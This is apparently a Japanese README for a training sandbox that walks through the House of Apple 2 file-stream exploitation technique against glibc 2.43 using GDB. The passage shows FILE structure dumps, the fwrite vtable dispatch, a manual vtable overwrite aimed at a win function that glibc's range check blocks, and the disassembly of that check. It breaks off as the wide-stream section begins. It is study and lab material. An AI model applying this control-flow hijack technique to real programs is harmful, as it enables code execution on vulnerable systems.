
glibc 2.43におけるHouse of Apple 2 FSOP手法のインタラクティブなGDBウォークスルー。vtableバイパス、スタックピボット、ROPを網羅した再現可能なサンドボックス付き。
このリポジトリは、pwn.collegeのFile Struct Exploitationモジュールに触発された自己完結型のプレイグラウンドです。House of Apple 2の新しいバリエーションを紹介するものではなく、このテクニックが最近のglibcバージョンでどのように通用するのか、そして実行可能な悪用経路であり続けるのかという私の好奇心に答えるものです。このドキュメントでは、読者がサンドボックスと並行して追いながらプリミティブをより直感的に理解できるよう、インタラクティブなGDBウォークスルーを提供します。すべての実験は、執筆時点でUbuntu 26.04およびFedora 44にパッケージされているglibc 2.43を使用しています。
File Stream Oriented Programming (FSOP)。 これは、glibcのファイルストリーム構造体を操作して制御フローをハイジャックすることに関するものです。その方法の1つは、_IO_FILE_plusのvtableディスパッチメカニズムを破壊することです。モダンなglibcはこのvtableを検証するため、任意のアドレスに置き換えるという明白なアプローチは機能しません。
House of Apple 2は、元々Roderickによって紹介されたもので、有効な_IO_FILE_plus vtableを使用してワイド文字ストリームの仕組みに到達することで、この制限を回避します。そこでは、セカンダリvtableが範囲検証なしで直接ディスパッチされます。これにより、スタックピボットとROPチェーンへとエスカレートできるarbitrary callプリミティブが得られます。
この探求では、FILE構造体を上書きでき、ヒープリークとlibcリークの両方が得られていることを前提としています。ターゲットバイナリはすでにこれを提供しています。
サンドボックスはUbuntu 26.04 LTSで動作し、このテクニックを探求するためのモダンな環境を提供します。
イメージにはGDB、pwndbg、pwntools、ropper、tmuxが含まれています。また、fopen、fread、fwrite、fcloseなどのファイルストリーム操作を呼び出すためのインタラクティブメニューを備えたターゲットバイナリも含まれています。これにより、デバッグやアイデアのテスト中にストリームを便利に操作できます。
サンドボックスをビルドして実行するには:``` ./build.sh ./run.sh
## 探索
まず `_IO_FILE` と `_IO_FILE_plus` 構造体を調べてみましょう:```c
pwndbg> ptype struct _IO_FILE
type = struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2 : 24;
char _short_backupbuf[1];
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
struct _IO_FILE **_prevchain;
int _mode;
int _unused3;
__uint64_t _total_written;
char _unused2[8];
}
pwndbg> ptype struct _IO_FILE_plus
type = struct _IO_FILE_plus {
FILE file;
const struct _IO_jump_t *vtable;
}
実用的には、_IO_FILE_plus は vtable ポインタを持つ _IO_FILE です。これはすぐに興味深く見えます。このポインタを制御できれば、間接呼び出しをリダイレクトして制御フローをハイジャックできる可能性があります。
vtable を調査するために、fopen によって返される FILE ポインタを調べてみましょう。```c
pwndbg> p *(struct _IO_FILE_plus *)0x37ecf010
$4 = {
file = {
_flags = 0xfbad2480,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f58a7f4b4a0 <IO_2_1_stderr>,
_fileno = 0x3,
_flags2 = 0x0,
_short_backupbuf = "",
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x37ecf0f0,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x37ecf100,
_freeres_list = 0x0,
_freeres_buf = 0x0,
_prevchain = 0x7f58a7f4b480 <_IO_list_all>,
_mode = 0x0,
_unused3 = 0x0,
_total_written = 0x0,
_unused2 = "\000\000\000\000\000\000\000"
},
vtable = 0x7f58a7f49030 <_IO_file_jumps>
}
ポインタは `_IO_file_jumps` テーブルを指しています。

これは21個の関数ポインタの集合です。ファイルストリーム操作は、実行パスに応じて異なるエントリを介してディスパッチされます。
### `fwrite` パスの追跡
この調査では `fwrite` パスに焦点を当てます。各関数にブレークポイントを設定して `fwrite` を呼び出した後、最初にヒットするブレークポイントは `_IO_file_xsputn` です。

この呼び出しは `fwrite+216` で発生します。これは [glibc ソース](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/iofwrite.c#L44) と一致します。`_IO_sputn` は vtable を介してディスパッチするマクロであり、このストリームでは `_IO_file_xsputn` に解決されます。```asm
0x00007fd5181d362a <+202>: mov rdx,rcx
0x00007fd5181d362d <+205>: mov rdi,rbx
0x00007fd5181d3630 <+208>: mov QWORD PTR [rbp-0x30],r8
0x00007fd5181d3634 <+212>: mov QWORD PTR [rbp-0x28],rcx
0x00007fd5181d3638 <+216>: call QWORD PTR [rax+0x38]
最初の試みとして、vtable ポインタを desired_func - 0x38 で上書きし、fwrite+216 にブレークポイントを設定してみましょう。```c
pwndbg> p &win
$3 = (<text variable, no debug info> *) 0x4019e1
pwndbg> p/x &win - 0x38
$4 = 0x4019a9
pwndbg> set ((struct _IO_FILE_plus *)0x5334010)->vtable = (void *)0x4019a9
pwndbg> b *fwrite+216
Breakpoint 4 at 0x7fd5181d3638: file ./libio/libioP.h, line 1042.

ブレークポイントに到達する前に実行が中断される。このエラーは、glibc が間接呼び出しを実行する前に vtable ポインタを検証していることを示唆している。バックトレースを調べて、これがどこで発生するかを見てみよう。
`fwrite` は `_IO_vtable_check` に到達し、そこで偽造された vtable ポインタが拒否されている。

この実装には外部の vtable を受け入れるメカニズムが含まれているが、それは我々の制御下にはない。関連するコードは [`vtables.c`](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/vtables.c#L504) で確認できる。
### vtable 検証の理解
`_IO_vtable_check` が呼び出される時点ではすでに手遅れであり、vtable の検証は失敗している。バックトレース内のより早い段階の `IO_validate_vtable` フレームが興味深い部分なので、代わりにそちらを調べてみよう。```c
pwndbg> disass IO_validate_vtable
❌️ No symbol "IO_validate_vtable" in current context.
GDBはIO_validate_vtableをシンボルとして解決できません。ソースを見ると、これがfwriteにインライン展開されていることがわかります。```asm
0x00007fd5181d35f6 <+150>: lea rdi,[rip+0x1838e3] # 0x7fd518356ee0 <__io_vtables>
0x00007fd5181d35fd <+157>: mov rax,QWORD PTR [rbx+0xd8]
0x00007fd5181d3604 <+164>: mov r14,QWORD PTR [rbx+0xc8]
0x00007fd5181d360b <+171>: mov r15,QWORD PTR [rbx+0x28]
0x00007fd5181d360f <+175>: mov r12,QWORD PTR [rbx+0x20]
0x00007fd5181d3613 <+179>: mov rdx,rax
0x00007fd5181d3616 <+182>: sub rdx,rdi
0x00007fd5181d3619 <+185>: cmp rdx,0x92f
0x00007fd5181d3620 <+192>: ja 0x7fd5181d3780 <__GI__IO_fwrite+544>
vtable ポインタは `[__io_vtables, __io_vtables + IO_VTABLES_LEN)` の範囲内に収まる場合にのみ受け入れられる。したがって、好きな場所を単純に指すことはできない。それでも、ここには複数のジャンプテーブルを含むかなり大きな領域があり、探索の余地が残されている。
有効な範囲は次のように始まる:

## House of Apple 2
これで基本的な仕組みとその主な制約、すなわち `_IO_FILE_plus` の vtable が glibc の有効な vtable 領域内のどこかを指していなければならないことを理解した。これは明白なアプローチを妨げるが、完全に扉を閉ざすものではない。
House of Apple 2 は、ワイド文字ストリームの仕組みを通じて2つ目の vtable に到達することでこれを回避する。この2つ目の vtable は同じようには検証されない。GDB でそのパスをたどり、各部分がどのようにつながるかを見てみよう。
### ワイド文字ストリームの仕組み